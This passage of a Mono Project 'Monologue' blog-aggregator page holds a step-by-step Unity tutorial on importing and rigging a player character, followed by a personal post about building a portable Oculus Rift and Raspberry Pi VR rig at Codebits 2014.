Autorigger. In Maya for example, use Human IK, 3DSMax has Biped/CAT along with the skin modifier and Blender provides Rigify, as a few examples to create your skeleton hierarchy and assist with skinning. See Mecanim> preparing your own character in the documentation for more details. Character2Player__0001_Step_002   3 Set up BlendShapes Unity supports BlendShapes (Morph targets) so decide which part of the character requires morphing, and set up in your package appropriately, using BlendShapes in Maya, Morpher in 3DS Max and Shape Keys in Blender for example. This is often used for phoneme shapes when animating a talking face and works by assigning morphed shapes of the same number of vertices (often a duplicate of the original) to a target so that you can blend between versions to obtain different shapes without animating a complex bone hierarchy. Character2Player__0002_Step_003   4 Verify and export This stage is important to minimize errors and troubleshooting when you set up your model later. Remove unused meshes and extraneous assets like lights or cameras from your scene, or simply use the export selected if you 3D package allows. Use the FBX file format if you can, to allow for file portability and simplicity – if you have your own animation clips be sure to check the animation check box in the export dialogue. Re-importing your exported model into the 3D package is often a good way to verify your model before bringing it into Unity. Character2Player__0003_Step_004   5 Importing your model You can drag your FBX into the Project pane, or if you exported here already your model will be picked up automatically. You can select your model in the project browser and set up the options in the inspector panel. You should probably leave most of these as default, but check the Scale Factor, as scale can vary hugely depending on units used in your 3D package and your export settings. Click apply and drag the model into the Scene. You can create a (1m) cube to make sure the scale is correct and readjust. Character2Player__0004_Step_005   6 Setting up your materials in Unity Select your character in the scene and observe the associated material(s) in the inspector, these should have been created in materials folder where your model is exported. Each material has a drop down for shader, choose one appropriately e.g. Bumped Specular, so that you can define a base colour (tint) specular colour and the texture maps for the diffuse (Base RGB), gloss in the alpha channel and a normal map to add surface detail. Reflective materials can also have a cubemap assigned for reflections, which you can render once in the Unity editor or realtime (pro) for dynamic reflections. Character2Player__0005_Step_006 7 Creating an avatar Once imported your character model needs to have an avatar applied, this will map your skeleton to an avatar to use with any humanoid animation. Select the character model FBX file in your Project pane. Select the Rig tab and choose Humanoid for ‘Animation Type’ – click configure to create and configure. If your rig is good to go it will all be in green, otherwise assign bones to the correct slots or revisit your bone hierarchy and re-export to closer match the avatar. You can test your skinning in the Muscles tab by dragging the sliders. Click Done when finished. Character2Player__0006_Step_007 8 Adding a controller Unity sample assets provide all you need to control your player. From the project window, drag the Third Person Character prefab from the Sample Assets\Characters and vehicles\Third person Controller\prefabs folder into your scene. In your Hierarchy delete the Ethan node underneath Third Person Character. Drag your character node on top of your Third Person Character node which has all scripts,  parameters and the player tag already assigned. From the Cameras\Prefabs folder drag the Free Look camera rig into the scene, add and position a ‘plane’ game object and press Play! Character2Player__0007_Step_008 9 Adding your animation If you have imported or acquired animation from the store, you can replace the animations from the character animator. Select your character root node, Open the animator from the Window menu – This opens a pane that manages which state your character is in and therefore which animation to play. Double click Grounded state to open a blend tree for when you character is on the ground. Select the blend tree and over in the inspector click the little circle next to an animation to choose another. Press play to preview then stop and make adjustments as necessary. Character2Player__0008_Step_009 10 Adding BlendShapes and tweaking your character Create an animation in your source package which blends between two or more meshes, as outlined in step 3. Re-export your mesh and include animation > morphs in the FBX dialogue. In Unity create a new layer in your animator window set blending to additive and weight: 1, then drag in your clip from the project window, create an empty state and right click > Make transition – and transition to and from the clip. Set a condition for this e.g. forward: greater than 0.5 for to - and forward: Less than 0.5 for from transition in the inspector. Character2Player__0009_Step_010 11 Adding environment, lights and settings To immerse yourself in the game you can planes & primitives to create a greybox test environment to play about in, or use levels from the sample assets or asset store and of course import your own environment artwork. Any imported artwork needs to have ‘Generate Colliders’ checked and applied in the inspector, for the imported file in the project view, so that you can walk on the surface etc. Create a ‘directional light’ from the Create button at the top of the hierarchy and adjust the parameters in the inspector. Character2Player__0010_Step_011 12 Adding Post FX and polish Unity pro includes a number of full screen Image FX that can help improve the look of your scene. Separate the ‘Game’ view by dragging the tab out to preview. Select the ‘Main Camera’ node under the Free Look Camera Rig. In the inspector click Add Component > Image Effects > Camera > Depth of field – for example – to retain focus on your character, but blurring the background akin to a wide aperture. You can add as many others as your eyes and frame rate can handle so try vignette, bloom, ambient occlusion, so go ahead & play!

Here are some Useful resources to continue with your project:

To follow the video tutorial click Play >


Codebits 2014 - 3 days of fun

Wherein I spend three days demo'ing the Oculus Rift, hacking on a portable VR rig with a Raspberry Pi, riding RiftCycles, and mobilizing the entire medical emergency and firemen staff on call due to an extremely nuclear chili experience (rumours of my demise were greatly exagerated).

This year our usual group occupied the usual couple of tables at Codebits and split up into three projects - Pew Pew Pew!, an attempt at building a portable VR experience of a First Person Shooter with an Oculus Rift, a Kinect and a Raspberry Pi; Wolf of Codebits, a stock exchange built on top of the Meo Wallet infrastructure using the "money" that was distributed for testing to everyone at Codebits; and Nelo, the winner of the event's top prize, a Knee Lock for Polio patients to replace the metal harness that they traditionally have to use, using free and open technology like Arduino, Bitalino sensors and 3D printing and based on the idea of a chinese finger trap.

It was awesome fun, as it usual is, even though I spent a lot of time cursing at SD cards, and the Pew Pew Pew! project, which I did with Bruno Rodrigues, didn't end up fulfilling all its goals. The portability was the primary goal - getting a Raspberry Pi connected to the Oculus Rift and both feeding off a portable USB battery so that the whole thing could be stuffed in pockets and the user could have freedom of movement without worrying that he might drag a laptop with him if he turned too much or moved too far.
Bruno killing some critters with the Raspberry and the Oculus control module in his pockets
It turns out that the Oculus sucks so little power that the USB batteries we had would turn off because they thought they weren't in use... So instead of using two batteries - one for the Raspi and one for the Oculus - we used one for both, so that the Raspi would ensure that the battery would not turn off.

We managed to get the whole thing portable and Quake compiled on the Raspberry before the SD card troubles started and killed off the remainder of our schedule, where we ended up spending most of the time replacing cards, reinstalling Raspbian and trying to get things up and running again. We did manage to do a presentation in the end to show off the concept, Bruno going up on stage, pockets stuffed with cables and boxes, to show off the rig fully portable and running. So now you can guess what I'm going to be working on for the next few days ;)

Congratulations are in order to everyone at the organization for putting together another amazing event, and to everyone that managed to pull together a project while being constantly distracted by all the awesome stuff going on around them! And a special congrats to the Nelo team for pulling off such an amazing idea and stealing the show! Now I wish I were in Portugal more often to play with the Bee 3D printer that they won :-P

Update: A lot of other things happened at Codebits, to wit: RiftCycles (http://fb.me/32NIS6Jfw), Nuclear Chili experience (http://www.youtube.com/watch?v=khXNcgwI0ic), talks and workshops, Presentation Karaoke (where you have no idea what the next slide is going to have), the Amazing Quiz Show (wherein we learn what 2002::/32 is), Retrocomputing (where a bunch of people have fun with old consoles and computers, including my ZX Spectrum), and so much more!


Monologue is a window into the world, work, and lives of the community members and developers that make up the Mono Project, which is a free cross-platform development environment used primarily on Linux.

If you would rather follow Monologue using a newsreader, we provide the following feed:

RSS 2.0 Feed

Monologue is powered by Mono and the Monologue software.